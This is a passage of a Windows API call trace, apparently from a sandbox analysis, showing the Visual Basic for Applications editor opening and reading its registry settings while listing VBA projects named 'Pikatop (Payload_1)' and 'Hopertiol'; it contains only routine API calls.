(hModule=0x7ff9dd020000, lpProcName="ImageList_AddMasked") returned 0x7ff9dd049850 [0116.588] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_GetImageInfo") returned 0x7ff9dd0e57e0 [0116.589] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_Draw") returned 0x7ff9dd049a80 [0116.666] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_DrawEx") returned 0x7ff9dd028d50 [0116.667] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="PropertySheetA") returned 0x7ff9dd0dc2a0 [0116.667] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="DestroyPropertySheetPage") returned 0x7ff9dd0225d0 [0116.669] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="CreatePropertySheetPageA") returned 0x7ff9dd0d9910 [0116.669] InitCommonControls () [0116.669] LoadStringA (in: hInstance=0x276498e0000, uID=0x80e, lpBuffer=0xb5690f5d50, cchBufferMax=40 | out: lpBuffer="MdiMaximized") returned 0xc [0116.669] lstrcpyA (in: lpString1=0xb5690f5b50, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.669] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.669] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.669] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5ce8 | out: phkResult=0xb5690f5ce8*=0x15c8) returned 0x0 [0116.669] RegQueryValueExA (in: hKey=0x15c8, lpValueName="MdiMaximized", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cf0, lpcbData=0xb5690f5ce0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cf0*=0x0, lpcbData=0xb5690f5ce0*=0x28) returned 0x2 [0116.669] RegCloseKey (hKey=0x15c8) returned 0x0 [0116.669] RegisterClassExA (param_1=0xb5690f5d00) returned 0xc204 [0116.670] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b7) returned 1 [0116.670] LoadIconA (hInstance=0x276498e0000, lpIconName=0x4b0) returned 0x10033b [0116.673] LoadImageA (hInst=0x276498e0000, name=0x4b0, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0xd021f [0116.674] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0116.674] RegisterClassExA (param_1=0xb5690f5d00) returned 0xc206 [0116.674] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b8) returned 1 [0116.674] SystemParametersInfoA (in: uiAction=0x30, uiParam=0x0, pvParam=0xb5690f5d50, fWinIni=0x0 | out: pvParam=0xb5690f5d50) returned 1 [0116.674] SetThreadDpiAwarenessContext () returned 0x80000011 [0116.675] malloc (_Size=0x12a0) returned 0x276527c0e90 [0116.676] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc206, lpWindowName="Microsoft Visual Basic for Applications", dwStyle=0x6cf0000, X=0, Y=0, nWidth=1440, nHeight=860, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x401c0 [0116.677] DefFrameProcA (hWnd=0x401c0, hWndMDIClient=0x0, uMsg=0x24, wParam=0x0, lParam=0xb5690f5650) returned 0x0 [0116.680] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b9) returned 1 [0116.680] SetThreadDpiAwarenessContext () returned 0x11 [0116.680] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f5d50 | out: lpRect=0xb5690f5d50) returned 1 [0116.680] CreateWindowExA (dwExStyle=0x200, lpClassName="mdiclient", lpWindowName=0x0, dwStyle=0x56000001, X=0, Y=0, nWidth=1424, nHeight=821, hWndParent=0x401c0, hMenu=0xcac, hInstance=0x7ff9bde20000, lpParam=0xb5690f5cf0) returned 0x201cc [0116.683] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001ba) returned 1 [0116.683] CreateMDIWindowA (lpClassName=0xc204, lpWindowName=0x0, dwStyle=0x46cf0000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x201cc, hInstance=0x7ff9bde20000, lParam=0x0) returned 0x20376 [0116.686] SendMessageA (hWnd=0x201cc, Msg=0x222, wParam=0x20376, lParam=0x0) returned 0x0 [0116.686] SendMessageA (hWnd=0x201cc, Msg=0x224, wParam=0x20376, lParam=0x0) returned 0x0 [0116.686] SendMessageA (hWnd=0x201cc, Msg=0x229, wParam=0x0, lParam=0x0) returned 0x20376 [0116.687] malloc (_Size=0x60) returned 0x276527c04e0 [0116.687] malloc (_Size=0xa0) returned 0x276527c0550 [0116.687] malloc (_Size=0x202) returned 0x276527c0600 [0116.851] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBEUIINTL.DLL") returned 0x4c [0116.851] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBEUIINTL.DLL") returned 0x4c [0116.851] lstrcpyW (in: lpString1=0xb5690f5990, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBEUIINTL.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBEUIINTL.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBEUIINTL.DLL" [0116.909] lstrcpyA (in: lpString1=0xb5690f5b40, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.909] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.909] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.909] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cd8 | out: phkResult=0xb5690f5cd8*=0x1e4) returned 0x0 [0116.910] RegQueryValueExA (in: hKey=0x1e4, lpValueName="GridWidth", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5ce0, lpcbData=0xb5690f5cd0*=0x28 | out: lpType=0x0, lpData=0xb5690f5ce0*=0x80, lpcbData=0xb5690f5cd0*=0x28) returned 0x2 [0116.910] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.910] lstrcpyA (in: lpString1=0xb5690f5b40, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.910] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.910] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.910] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cd8 | out: phkResult=0xb5690f5cd8*=0x1e4) returned 0x0 [0116.910] RegQueryValueExA (in: hKey=0x1e4, lpValueName="GridHeight", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5ce0, lpcbData=0xb5690f5cd0*=0x28 | out: lpType=0x0, lpData=0xb5690f5ce0*=0x80, lpcbData=0xb5690f5cd0*=0x28) returned 0x2 [0116.910] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.910] lstrcpyA (in: lpString1=0xb5690f5b40, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.910] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.910] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.910] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cd8 | out: phkResult=0xb5690f5cd8*=0x1e4) returned 0x0 [0116.910] RegQueryValueExA (in: hKey=0x1e4, lpValueName="ShowGrid", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5ce0, lpcbData=0xb5690f5cd0*=0x28 | out: lpType=0x0, lpData=0xb5690f5ce0*=0x80, lpcbData=0xb5690f5cd0*=0x28) returned 0x2 [0116.910] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.910] lstrcpyA (in: lpString1=0xb5690f5b40, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.910] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.910] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.910] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cd8 | out: phkResult=0xb5690f5cd8*=0x1e4) returned 0x0 [0116.910] RegQueryValueExA (in: hKey=0x1e4, lpValueName="AlignToGrid", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5ce0, lpcbData=0xb5690f5cd0*=0x28 | out: lpType=0x0, lpData=0xb5690f5ce0*=0x80, lpcbData=0xb5690f5cd0*=0x28) returned 0x2 [0116.911] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.911] LoadStringA (in: hInstance=0x276498e0000, uID=0x819, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="SaveBeforeRun") returned 0xd [0116.911] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.911] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.911] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.911] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1e4) returned 0x0 [0116.911] RegQueryValueExA (in: hKey=0x1e4, lpValueName="SaveBeforeRun", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0116.911] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.911] LoadStringA (in: hInstance=0x276498e0000, uID=0x814, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="ShowToolTips") returned 0xc [0116.911] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.911] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.911] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.911] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1e4) returned 0x0 [0116.911] RegQueryValueExA (in: hKey=0x1e4, lpValueName="ShowToolTips", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0116.911] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.911] LoadStringA (in: hInstance=0x276498e0000, uID=0x82b, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="CollapseWindows") returned 0xf [0116.911] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.911] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.912] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.912] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1e4) returned 0x0 [0116.912] RegQueryValueExA (in: hKey=0x1e4, lpValueName="CollapseWindows", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0116.912] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.913] LoadStringA (in: hInstance=0x276498e0000, uID=0x813, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="UpgradeVBX") returned 0xa [0116.913] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.913] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.913] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.913] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1e4) returned 0x0 [0116.913] RegQueryValueExA (in: hKey=0x1e4, lpValueName="UpgradeVBX", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0116.913] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.913] LoadStringA (in: hInstance=0x276498e0000, uID=0x833, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="ReadOnlyMode") returned 0xc [0116.913] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.913] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.913] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.913] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1e4) returned 0x0 [0116.913] RegQueryValueExA (in: hKey=0x1e4, lpValueName="ReadOnlyMode", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0116.914] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.914] LoadStringA (in: hInstance=0x276498e0000, uID=0x80c, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="BackgroundProjectLoad") returned 0x15 [0116.914] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0116.914] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0116.914] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0116.914] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1e4) returned 0x0 [0116.914] RegQueryValueExA (in: hKey=0x1e4, lpValueName="BackgroundProjectLoad", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0116.914] RegCloseKey (hKey=0x1e4) returned 0x0 [0116.914] RegisterClipboardFormatA (lpszFormat="VB ProjectExplorer Item") returned 0xc208 [0116.914] RegisterClipboardFormatA (lpszFormat="VBProjWin_CF_HDROP") returned 0xc209 [0116.914] RegisterClipboardFormatA (lpszFormat="FileContents") returned 0xc07b [0116.914] RegisterClipboardFormatA (lpszFormat="FileGroupDescriptor") returned 0xc0a6 [0116.914] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0116.914] RegisterClassA (lpWndClass=0xb5690f5d00) returned 0xc20a [0116.914] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001bd) returned 1 [0116.915] LoadImageA (hInst=0x7ff9bde20000, name=0x1770, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x605097e [0116.917] GetObjectA (in: h=0x605097e, c=32, pv=0xb5690f5c70 | out: pv=0xb5690f5c70) returned 32 [0116.918] ImageList_LoadImageA (hi=0x7ff9bde20000, lpbmp=0x1770, cx=16, cGrow=1, crMask=0xffffff, uType=0x0, uFlags=0x0) returned 0x27645518a00 [0116.922] DeleteObject (ho=0x605097e) returned 1 [0116.922] ImageList_SetOverlayImage (himl=0x27645518a00, iImage=1, iOverlay=1) returned 1 [0116.922] ImageList_SetOverlayImage (himl=0x27645518a00, iImage=2, iOverlay=2) returned 1 [0116.922] malloc (_Size=0x18) returned 0x27649976ec0 [0116.922] malloc (_Size=0x50) returned 0x276527c0810 [0116.922] CreateWindowExA (dwExStyle=0x10, lpClassName=0xc20a, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=100, nHeight=100, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x20378 [0116.923] CreateWindowExA (dwExStyle=0x200, lpClassName="SysTreeView32", lpWindowName=0x0, dwStyle=0x508000af, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x20378, hMenu=0x1, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x2036e [0116.934] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001bf) returned 1 [0116.934] SendMessageA (hWnd=0x2036e, Msg=0x1109, wParam=0x0, lParam=0x27645518a00) returned 0x0 [0116.934] LoadStringA (in: hInstance=0x276498e0000, uID=0x7db, lpBuffer=0xb5690f509c, cchBufferMax=32 | out: lpBuffer="MS UI Gothic") returned 0xc [0116.934] CreateFontIndirectA (lplf=0xb5690f5080) returned 0x20a0978 [0116.934] CreateFontIndirectA (lplf=0xb5690f5080) returned 0x30a097f [0116.935] SendMessageA (hWnd=0x2036e, Msg=0x30, wParam=0x30a097f, lParam=0x0) returned 0x0 [0116.944] RegisterDragDrop (hwnd=0x2036e, pDropTarget=0x276527c0818) returned 0x0 [0117.450] SetWindowLongPtrA (hWnd=0x2036e, nIndex=-4, dwNewLong=0x7ff9bde21a50) returned 0xffff0239 [0117.450] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0xb5690f5010 | out: phkResult=0xb5690f5010*=0x130c) returned 0x0 [0117.451] RegQueryValueExA (in: hKey=0x130c, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5008, lpcbData=0xb5690f5000*=0x4 | out: lpType=0x0, lpData=0xb5690f5008*=0xa5, lpcbData=0xb5690f5000*=0x4) returned 0x2 [0117.451] RegCloseKey (hKey=0x130c) returned 0x0 [0117.451] LoadStringA (in: hInstance=0x276498e0000, uID=0x3346, lpBuffer=0xb5690f4780, cchBufferMax=1024 | out: lpBuffer="??????") returned 0x6 [0117.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f4c50, cbMultiByte=-1, lpWideCharStr=0x2764b7f1a88, cchWideChar=7 | out: lpWideCharStr="??????") returned 7 [0117.451] CoCreateInstance (in: rclsid=0x7ff9be1e05c8*(Data1=0xb5f8350b, Data2=0x548, Data3=0x48b1, Data4=([0]=0xa6, [1]=0xee, [2]=0x88, [3]=0xbd, [4]=0x0, [5]=0xb4, [6]=0xa5, [7]=0xe7)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7ff9be1e05b8*(Data1=0x6e26e776, Data2=0x4f0, Data3=0x495d, Data4=([0]=0x80, [1]=0xe4, [2]=0x33, [3]=0x30, [4]=0x35, [5]=0x2e, [6]=0x31, [7]=0x69)), ppv=0xb5690f5018 | out: ppv=0xb5690f5018*=0x2764b9dbc20) returned 0x0 [0117.459] CAccPropServices:IAccPropServices:SetHwndProp (This=0x2764b9dbc20, hwnd=0x2036e, idObject=0xfffffffc, idChild=0x0, idProp=0xb5690f5020, var=0xb5690f5030*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="??????", varVal2=0x0)) returned 0x0 [0117.461] CAccPropServices:IUnknown:Release (This=0x2764b9dbc20) returned 0x0 [0117.462] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001be) returned 1 [0117.462] malloc (_Size=0xa0) returned 0x2764997e6e0 [0117.462] LoadStringA (in: hInstance=0x276498e0000, uID=0x856, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="FolderView") returned 0xa [0117.462] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0117.462] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0117.462] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0117.462] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1310) returned 0x0 [0117.462] RegQueryValueExA (in: hKey=0x1310, lpValueName="FolderView", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0117.462] RegCloseKey (hKey=0x1310) returned 0x0 [0117.463] strcpy_s (in: _Dst=0xb5690f5b30, _DstSize=0x208, _Src="????????" | out: _Dst="????????") returned 0x0 [0117.476] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0117.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0117.476] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0117.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=8, lpWideCharStr=0x2764b7f1458, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0117.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=-1, lpMultiByteStr=0xb5690f5120, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0117.476] lstrlenA (lpString="Pikatop") returned 7 [0117.476] lstrcatA (in: lpString1="Pikatop", lpString2=" (" | out: lpString1="Pikatop (") returned="Pikatop (" [0117.476] strncat_s (in: _Destination="Pikatop (", _SizeInBytes=0x902, _Source="Payload_1", _MaxCount=0x28 | out: _Destination="Pikatop (Payload_1") returned 0x0 [0117.476] lstrcatA (in: lpString1="Pikatop (Payload_1", lpString2=")" | out: lpString1="Pikatop (Payload_1)") returned="Pikatop (Payload_1)" [0117.476] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5050) returned 0x1 [0117.480] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0117.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0117.480] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0117.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=8, lpWideCharStr=0x2764b7f1458, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0117.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=-1, lpMultiByteStr=0xb5690f4ed0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0117.480] lstrlenA (lpString="Pikatop") returned 7 [0117.480] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0117.480] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=7, lpWideCharStr=0x2764b7f1458, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0117.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4ac0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0117.481] lstrlenA (lpString="Normal") returned 6 [0117.481] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal", _SizeInBytes=0x410, _Source=" [" | out: _Destination="Microsoft Visual Basic for Applications - Normal [") returned 0x0 [0117.481] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [", _SizeInBytes=0x410, _Source="???" | out: _Destination="Microsoft Visual Basic for Applications - Normal [???") returned 0x0 [0117.481] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [???", _SizeInBytes=0x410, _Source="]" | out: _Destination="Microsoft Visual Basic for Applications - Normal [???]") returned 0x0 [0117.482] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5670) returned 0x1 [0117.487] GetObjectA (in: h=0x4050981, c=32, pv=0xb5690f58f0 | out: pv=0xb5690f58f0) returned 32 [0117.488] malloc (_Size=0x14) returned 0x27649976f80 [0117.488] lstrlenA (lpString="Hopertiol") returned 9 [0117.488] lstrlenA (lpString="Hopertiol") returned 9 [0117.488] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5050) returned 0x1 [0117.489] malloc (_Size=0xa8) returned 0x2764997e840 [0117.489] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5690) returned 0x1 